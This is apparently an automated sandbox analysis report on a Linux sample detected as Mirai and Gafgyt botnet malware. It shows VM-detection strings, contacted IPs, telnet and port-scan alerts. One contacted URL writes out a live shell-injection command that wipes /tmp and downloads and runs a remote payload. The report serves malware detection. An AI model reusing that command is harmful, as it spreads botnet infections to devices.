Source: 5237.18.dr	Binary or memory string: @qemu
Source: 5237.18.dr	Binary or memory string: Fqqemu
Source: 5237.18.dr	Binary or memory string: N4qemu
Source: 5237.18.dr	Binary or memory string: ~6\nqemu*q
Source: 5237.18.dr	Binary or memory string: qemu-mips64el
Source: 5237.18.dr	Binary or memory string: hqemu
Source: 5237.18.dr	Binary or memory string: &mqemu
Source: 5237.18.dr	Binary or memory string: $qemu
Source: 5237.18.dr	Binary or memory string: qemu-sparc
Source: 5237.18.dr	Binary or memory string: qemu-microblaze
Source: 5237.18.dr	Binary or memory string: qemu-user
Source: 5237.18.dr	Binary or memory string: qemu-aarch64
Source: 5237.18.dr	Binary or memory string: qemu-sh4eb
Source: 5237.18.dr	Binary or memory string: iqemu
Source: 5237.18.dr	Binary or memory string: qemu-mipsel
Source: 5237.18.dr	Binary or memory string: qemuP`
Source: 5237.18.dr	Binary or memory string: qemu-alpha
Source: 5237.18.dr	Binary or memory string: qemu-microblazeel
Source: 5237.18.dr	Binary or memory string: \qemu
Source: 5237.18.dr	Binary or memory string: qemu-xtensaeb
Source: 5237.18.dr	Binary or memory string: qemu-mipsn32el
Source: 5237.18.dr	Binary or memory string: SAqemu
Source: 5237.18.dr	Binary or memory string: Vqemu
Source: 5237.18.dr	Binary or memory string: qemu-mipsn32
Source: syslog.67.dr	Binary or memory string: Jan 15 00:11:43 galassia kernel: [ 478.955119] Modules linked in: monitor(OE) md4 cmac cifs libarc4 fscache libdes vmw_vsock_vmci_transport vsock binfmt_misc dm_multipath scsi_dh_rdac scsi_dh_emc scsi_dh_alua vmw_balloon joydev input_leds serio_raw vmw_vmci sch_fq_codel drm parport_pc ppdev lp parport ip_tables x_tables autofs4 btrfs zstd_compress raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel crypto_simd cryptd glue_helper psmouse ahci mptspi vmxnet3 scsi_transport_spi mptscsih libahci mptbase
Source: 5237.18.dr	Binary or memory string: qemuAU
Source: 5237.18.dr	Binary or memory string: qemu-riscv32
Source: 5237.18.dr	Binary or memory string: qemu-sparc32plus
Source: 5237.18.dr	Binary or memory string: 7,qemu
Source: 5237.18.dr	Binary or memory string: qemu-s390x
Source: 5237.18.dr	Binary or memory string: vmware-checkvm
Source: 5237.18.dr	Binary or memory string: qemu-nios2
Source: 5237.18.dr	Binary or memory string: qemu-armeb
Source: 5237.18.dr	Binary or memory string: -4415868968400A--gzVMware SVGA video driver
Source: 5237.18.dr	Binary or memory string: 7xml::parser::style::streamXML::Parser::Style::Stream3pm315701248990A--gzStream style for XML::Parsersystemd-timedated-8816268940210B--gzTime and date bus mechanismxfce4-keyboard-settings-1115867081120A--gzKeyboard settings for Xfcepygettext2-1115841026830B--gzPython equivalent of xgettext(1)sudoedit-8816110660620B--gzexecute a command as another userintro7-7715812813670A--gzintroduction to overview and miscellany sectionsprof-1115812813670A--gzread and display shared object profiling datadhclient.conf-5516219398220A--gzDHCP client configuration filepam_group-8815953742440A--gzPAM module for group accesssystemd-ask-password-1116268940210A--gzQuery the user for a system passwordupdate-dictcommon-hunspell-8815422954860A--gzrebuild hunspell database and emacsen stuffqemu-nios2-1116261022170B--gzQEMU User Emulatorlwp::useragentLWP::UserAgent3pm315750405830A--gzWeb user agent classgpgcompose-1115838662460A--gzGenerate a stream of OpenPGP packetsecho-1115676799200A--gzdisplay a line of textio::socket::ssl::utilsIO::Socket::SSL::Utils3pm315817106800A--gz- loading, storing, creating certificates and keyscurl-1116268709580A--gztransfer a URLgetcap-8815819434600A--gzexamine file capabilitieszegrep-1115762517060B--gzsearch possibly compressed files for a regular expressiongrub-syslinux2cfg-1116214898500A--gztransform syslinux config into grub.cfgrtc-4415812813670A--gzreal-time clockglib::codegenGlib::CodeGen3pm315820097650A--gzcode generation utilities for Glib-based bindings.wpa_cli-8816146062790A--gzWPA command line clientiso_8859_3-7715812813670B--gzISO 8859-3 character set encoded in octal, decimal, and hexadecimaliso_8859-9-7715812813670A-tgzISO 8859-9 character set encoded in octal, decimal, and hexadecimallvextend-8815816289110A--gzAdd space to a logical volumeresolvectl-1116268940210A--gzResolve domain names, IPV4 and IPv6 addresses, DNS resource records, and services; introspect and reconfigure the DNS resolverchgrp-1115676799200A--gzchange group ownershipsystemd-cgls-1116268940210A--gzRecursively show control group contentspygettext3.8-1113852085880A--gzPython equivalent of xgettext(1)ping4-8815804258830B--gzsend ICMP ECHO_REQUEST to network hostsidmapwb-8816000845410A--gzwinbind ID mapping plugin for cifs-utilsapturl-gtk-8815799493830B--gzgraphical apt-protocol interpreting package installersane-epsonds-5516003468200A--gzSANE backend for EPSON ESC/I-2 scannersgvfs-monitor-file-1115868766090A--gzrstart-1115829564830A--gza sample implementation of a Remote Start clientgit-stage-1116148628880A--gzAdd file contents to the staging areatc-pedit-8815816145190A--gzgeneric packet editor actioniptables-save-881582899
Source: 5237.18.dr	Binary or memory string: I_qemu
Source: 5237.18.dr	Binary or memory string: -1116261022170B--gzQEMU User Emulator
Source: 5237.18.dr	Binary or memory string: -3315837702310A--gzvmware shared library
Source: 5237.18.dr	Binary or memory string: qemu-mips
Source: 5237.18.dr	Binary or memory string: qemuj\
Source: nSg5RM0w0d, 5278.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5281.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5282.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5286.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5289.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5290.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5294.1.000000001e4697c8.0000000045731922.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/nSg5RM0w0dSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nSg5RM0w0d
Source: 5237.18.dr	Binary or memory string: {qemuQ&
Source: 5237.18.dr	Binary or memory string: Wgnome-text-editor-111629209547491759146B--gztext editor for the GNOME Desktopx11::protocol::connection::filehandleX11::Protocol::Connection::FileHandle3pm314314075500A--gzPerl module base class for FileHandle-based X11 connectionshtbHTB8815816145190Ctc-htb-gzcifscreds-1116000845410A--gzmanage NTLM credentials in kernel keyringiwconfig-8815490049440A--gzconfigure a wireless network interfaceossl_store-file-7ssl716164130370A--gzThe store 'file' scheme loadertc-stab-8815816145190A--gzGeneric size table manipulationsnotifier-7715877390340A--gzcups notification interfaceqemu-arm-1116261022170B--gzQEMU User EmulatorgemfileGemfile5516263767190Cgemfile2.7-gzglib::object::subclassGlib::Object::Subclass3pm315820097650A--gzregister a perl class as a GObject classnetcat-111612200165426646725B--gzarbitrary TCP and UDP connections and listensdpkg::changelog::parseDpkg::Changelog::Parse3perl315849439740A--gzgeneric changelog parser for dpkg-parsechangelogmpris-proxy-1116243432320A--gzBluetooth mpris-proxybundle-pristine2.7-1116263767190A--gzRestores installed gems to their pristine conditionfsck.ext3-8815816604980B--gzcheck a Linux ext2/ext3/ext4 file systemvolname-1115625752510A--gzreturn volume nameiso-8859-9-7715812813670B--gzISO 8859-9 character set encoded in octal, decimal, and hexadecimalheadhead1HEAD1psd-4415812813670A--gzdriver for SCSI disk driveschrt-1115953177680A--gzmanipulate the real-time attributes of a processvcs-4415812813670A--gzvirtual console memorygit-upload-archive-1116148628880A--gzSend archive back to git-archivenet::dbus::binding::message::errorNet::DBus::Binding::Message::Error3pm315773746310A--gza message encoding a method call errorpkcs11.conf-5516097870510A--gzConfiguration files for PKCS#11 modulessfill-1115227593860A--gzsecure free disk and inode space wiper (secure_deletion toolkit)ldattach-8815953177680A--gzattach a line discipline to a serial linethin_restore-8815811608350A--gzrestore thin provisioning metadata file to device or file.phar.phar7.4-1116254980150B--gzPHAR (PHP archive) command line toolbundle-outdated2.7-1116263767190A--gzList installed gems with newer versions availablemail::addressMail::Address3pm315640244160A--gzparse mail addressesopenssl-ca-1ssl116164130370B--gzsample minimal CA applicationchardet3-1115765858900A--gzuniversal character encoding detectorerb2.7-1116263767190A--gzRuby Templatingchktrust-1115826667350A--gzCheck the trust of a PE executable.sg_raw-8815825816070A--gzsend arbitrary SCSI command to a devicegvfs-trash-1115868766090A--gzintro1-1115812813670A--gzintroduction to user commandsmailcap-5515714399500A--gzmetamail capabilities filegigoloGigolo1gig
Source: 5237.18.dr	Binary or memory string: vmware-xferlogs

Language, Device and Operating System Detection:

Reads system files that contain records of logged in users

Source: /usr/lib/accountsservice/accounts-daemon (PID: 5504)	Logged in records file read: /var/log/wtmp			Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5744)	Logged in records file read: /var/log/wtmp			Jump to behavior

Stealing of Sensitive Information:

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: nSg5RM0w0d, type: SAMPLE
Source: Yara match	File source: 5278.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5281.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5282.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5290.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5294.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5289.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5286.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY

Yara detected Gafgyt

Source: Yara match	File source: nSg5RM0w0d, type: SAMPLE
Source: Yara match	File source: 5278.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5281.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5282.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5290.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5294.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5289.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5286.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: nSg5RM0w0d, type: SAMPLE
Source: Yara match	File source: 5278.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5281.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5282.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5290.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5294.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5289.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5286.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY

Yara detected Gafgyt

Source: Yara match	File source: nSg5RM0w0d, type: SAMPLE
Source: Yara match	File source: 5278.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5281.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5282.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5290.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5294.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5289.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5286.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY

Screenshots

No Screenshots

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
82.125.79.157	unknown	France	3215	FranceTelecom-OrangeFR	false
82.237.229.86	unknown	France	12322	PROXADFR	false
76.72.131.87	unknown	United States	21981	GOEASTONUS	false
155.95.85.169	unknown	United States	18456	GDIT-AS1US	false
106.216.185.226	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
73.105.34.11	unknown	United States	7922	COMCAST-7922US	false
168.225.157.89	unknown	United States	27435	OPSOURCE-INCUS	false
50.114.10.124	unknown	United States	61317	ASDETUKhttpwwwheficedcomGB	false
52.49.15.231	unknown	United States	16509	AMAZON-02US	false
104.214.224.221	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
88.245.81.179	unknown	Turkey	9121	TTNETTR	false
131.251.226.21	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
169.37.91.35	unknown	Switzerland	37611	AfrihostZA	false
125.53.105.82	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
88.16.182.166	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
190.10.105.51	unknown	Costa Rica	11830	InstitutoCostarricensedeElectricidadyTelecomCR	false
167.179.151.167	unknown	Australia	4764	WIDEBAND-AS-APAussieBroadbandAU	false
5.166.10.58	unknown	Russian Federation	51819	YAR-ASRU	false
43.205.251.248	unknown	Japan	4249	LILLY-ASUS	false
70.230.219.247	unknown	United States	7018	ATT-INTERNET4US	false
98.228.221.112	unknown	United States	7922	COMCAST-7922US	false
63.58.17.229	unknown	United States	701	UUNETUS	false
40.15.158.90	unknown	United States	4249	LILLY-ASUS	false
38.21.173.197	unknown	United States	11738	BLIP-NETWORKSUS	false
87.236.77.16	unknown	France	3215	FranceTelecom-OrangeFR	false
146.122.54.110	unknown	United States	22216	SIEMENS-PLMUS	false
189.39.227.49	unknown	Brazil	28321	FederacaodasCamarasdeDirigentesLojistasSCBR	false
85.122.137.62	unknown	Romania	41496	RO-TVSAT-ASRO	false
95.36.119.231	unknown	Netherlands	15670	BBNED-AS1NL	false
143.142.32.104	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
113.112.4.109	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
69.212.49.41	unknown	United States	7018	ATT-INTERNET4US	false
17.157.3.229	unknown	United States	714	APPLE-ENGINEERINGUS	false
139.193.211.227	unknown	Indonesia	23700	FASTNET-AS-IDLinknet-FastnetASNID	false
110.244.101.120	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
120.80.62.97	unknown	China	17623	CNCGROUP-SZChinaUnicomShenzennetworkCN	false
163.8.122.9	unknown	Australia	45589	ENERGYAUST-ASAUSGRIDAU	false
99.136.89.88	unknown	United States	7018	ATT-INTERNET4US	false
206.63.232.245	unknown	United States	20271	WINDWIRELESSUS	false
142.224.201.64	unknown	Canada	13576	SDNW-13576US	false
114.118.210.232	unknown	China	136958	UNICOM-GUANGZHOU-IDCChinaUnicomGuangdongIPnetworkCN	false
134.209.44.112	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
182.189.25.137	unknown	Pakistan	132165	CONNECT-AS-APConnectCommunicationsPK	false
52.84.92.177	unknown	United States	16509	AMAZON-02US	false
156.215.141.86	unknown	Egypt	8452	TE-ASTE-ASEG	false
186.195.5.248	unknown	Brazil	262734	Rede-TuxNetBR	false
213.110.25.60	unknown	Russian Federation	49483	SKATISPRU	false
139.113.193.20	unknown	Norway	5619	EVRY-NO	false
94.54.78.131	unknown	Turkey	47524	TURKSAT-ASTR	false
86.75.124.223	unknown	France	15557	LDCOMNETFR	false
192.141.163.66	unknown	Brazil	267489	NEOVEXCOMERCIOESERVICOSDETELECOMUNICACOESBR	false
54.233.11.252	unknown	United States	16509	AMAZON-02US	false
68.58.216.220	unknown	United States	7922	COMCAST-7922US	false
121.227.88.55	unknown	China	23650	CHINANET-JS-AS-APASNumberforCHINANETjiangsuprovinceba	false
80.60.82.221	unknown	Netherlands	1136	KPNKPNNationalEU	false
133.232.125.48	unknown	Japan	2514	INFOSPHERENTTPCCommunicationsIncJP	false
52.94.98.4	unknown	United States	16509	AMAZON-02US	false
147.110.180.178	unknown	South Africa	54363	BHIUS	false
169.199.161.126	unknown	United States	23309	CCCOE-NETUS	false
200.95.19.78	unknown	Mexico	8151	UninetSAdeCVMX	false
34.61.9.98	unknown	United States	2686	ATGS-MMD-ASUS	false
46.190.17.103	unknown	Greece	25472	WIND-ASGR	false
67.254.189.11	unknown	United States	12271	TWC-12271-NYCUS	false
190.76.228.209	unknown	Venezuela	27889	TelecomunicacionesMOVILNETVE	false
67.220.186.99	unknown	United States	55081	24SHELLSUS	false
103.123.2.193	unknown	Taiwan; Republic of China (ROC)	131632	LETSWIN-ASN-1LETSWINTELECOMCOLTDTW	false
192.243.129.200	unknown	United States	22284	AS22284-DOI-OPSUS	false
101.32.48.92	unknown	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
194.28.179.220	unknown	Ukraine	197073	KUZNETSOVSK-ASUA	false
216.54.175.15	unknown	United States	14454	PERIMETER-ESECURITYUS	false
118.212.117.45	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
47.171.224.192	unknown	United States	5650	FRONTIER-FRTRUS	false
223.124.158.166	unknown	China	58453	CMI-INT-HKLevel30Tower1HK	false
148.221.102.35	unknown	Mexico	8151	UninetSAdeCVMX	false
83.20.191.39	unknown	Poland	5617	TPNETPL	false
199.107.217.174	unknown	United States	54690	CLUUS	false
1.128.184.34	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
146.104.244.64	unknown	Netherlands	31822	CITY-UNIVERSITY-OF-NEW-YORKUS	false
86.182.64.238	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
112.94.220.109	unknown	China	17622	CNCGROUP-GZChinaUnicomGuangzhounetworkCN	false
138.241.60.27	unknown	United States	12980	EMEAHostingAutonomousSystemEU	false
9.196.70.214	unknown	United States	3356	LEVEL3US	false
90.119.126.11	unknown	France	3215	FranceTelecom-OrangeFR	false
185.118.141.131	unknown	Turkey	57844	SPD-NETTR	false
41.110.164.253	unknown	Algeria	36947	ALGTEL-ASDZ	false
95.221.124.215	unknown	Russian Federation	12714	TI-ASMoscowRussiaRU	false
71.104.168.123	unknown	United States	701	UUNETUS	false
130.51.4.50	unknown	Reserved	15601	BaringInvestmentServicesGB	false
62.20.16.13	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
139.140.222.34	unknown	United States	22847	BOWDOINUS	false
166.76.52.137	unknown	United States	1350	SEARSNET-ASUS	false
163.5.177.186	unknown	France	56339	EPITECHFR	false
63.240.110.192	unknown	United States	17232	ATT-CERFNET-BLOCKUS	false
185.240.220.152	unknown	Czech Republic	204772	RSD-CZ	false
182.184.108.188	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
67.46.64.246	unknown	United States	6621	HNS-DIRECPCUS	false
69.65.111.10	unknown	United States	14383	VCS-ASUS	false
123.79.119.67	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
47.87.41.215	unknown	United States	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
132.39.33.228	unknown	United States	385	AFCONC-BLOCK1-ASUS	false

Contacted Domains

Name	IP	Active
daisy.ubuntu.com	162.213.33.132	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws	false	Avira URL Cloud: safe	unknown

AV Detection:

Multi AV Scanner detection for submitted file

Source: nSg5RM0w0d

ReversingLabs: Detection: 55%

Bitcoin Miner:

Reads CPU information from /sys indicative of miner or evasive malware

Source: /usr/bin/pulseaudio (PID: 5386)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5492)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5661)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5842)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/bin/pulseaudio (PID: 5948)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/bin/pkill (PID: 6019)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/bin/pulseaudio (PID: 6041)	Reads CPU info from /sys: /sys/devices/system/cpu/online

Source: unknown	HTTPS traffic detected: 162.213.33.132:443 -> 192.168.2.23:35442 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36688 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36694 version: TLS 1.2

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 716 INFO TELNET access 124.114.140.102:23 -> 192.168.2.23:55138
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.114.140.102:23 -> 192.168.2.23:55186
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.114.140.102:23 -> 192.168.2.23:55280
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 188.247.187.146:23 -> 192.168.2.23:36002
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 188.247.187.146:23 -> 192.168.2.23:36002
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.114.140.102:23 -> 192.168.2.23:55296
Source: Traffic	Snort IDS: 716 INFO TELNET access 41.180.146.95:23 -> 192.168.2.23:40958

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 104.244.72.234 ports 64938,3,4,6,8,9

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37668 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37668 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37668 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43564 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43564 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43564 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 33276 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51214 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51214 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43354 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35656 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001

